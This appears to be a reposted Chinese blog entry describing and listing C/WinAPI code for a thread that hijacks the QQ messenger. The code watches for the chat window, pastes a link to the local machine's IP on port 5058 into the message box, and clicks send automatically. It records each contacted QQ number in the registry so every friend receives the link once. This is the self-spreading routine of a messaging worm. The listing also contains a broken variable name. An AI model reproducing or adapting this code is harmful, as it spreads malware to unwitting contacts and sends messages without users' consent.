您的位置:首页 > 产品设计 > UI/UE

操作QQ线程的实现

2005-09-28 11:19 260 查看
1) 获得本机IP地址。   2) 等待出现“发送消息”窗口。
   3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发
      送过,如果是,则转1),不是则发送,并在注册表中登记。
   4) 获得文本区句柄,设置新的消息。
   5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。
 
DWORD WINAPI  SendQQMsg(LPVOID lpParameter)
{
        HKEY   hKey;   
        char   buf[256];
       
        HWND   hWnd,hTextWnd,hWndQQNumber,hWndButton;
        char   QQRoot[]= "Software//QQNums//";
        char   QQRootNumber[128];
        int    QQNumberID=0x0DF;
        POINT  p={50,280};
 
        struct hostent * lpHostEnt;
        char   szLocalIP[30];        //形如http://202.118.224.2:5058
       
        gethostname(buf,256);
        lpHostEnt = ::gethostbyname (buf);
        struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;       
        ::lstrcpy(szLocalIP,"http://");
        ::lstrcat(szLocalIP,inet_ntoa(*ia));
        ::lstrcat(szLocalIP,":5058");
 
        while(TRUE)
        {
                ::Sleep(1000);
                hWnd = ::FindWindow(0,"发送消息");     
                if(hWnd==NULL)
                        continue;
                hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);                                            
                if(hWndQQNumber==NULL)
                        continue;      
                ::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);                                  
                ::lstrcpy(QQRootNumber,QQRoot);
                ::lstrcat(QQRootNumber,buf);
             
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
                {
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
                    hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);            
                    ::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP); 
                       
                    hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");
                    ::SendMessage(hButton,BM_CLICK,0,0);                                          
                }
        }
        return 1;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  qq struct winapi null query
相关文章推荐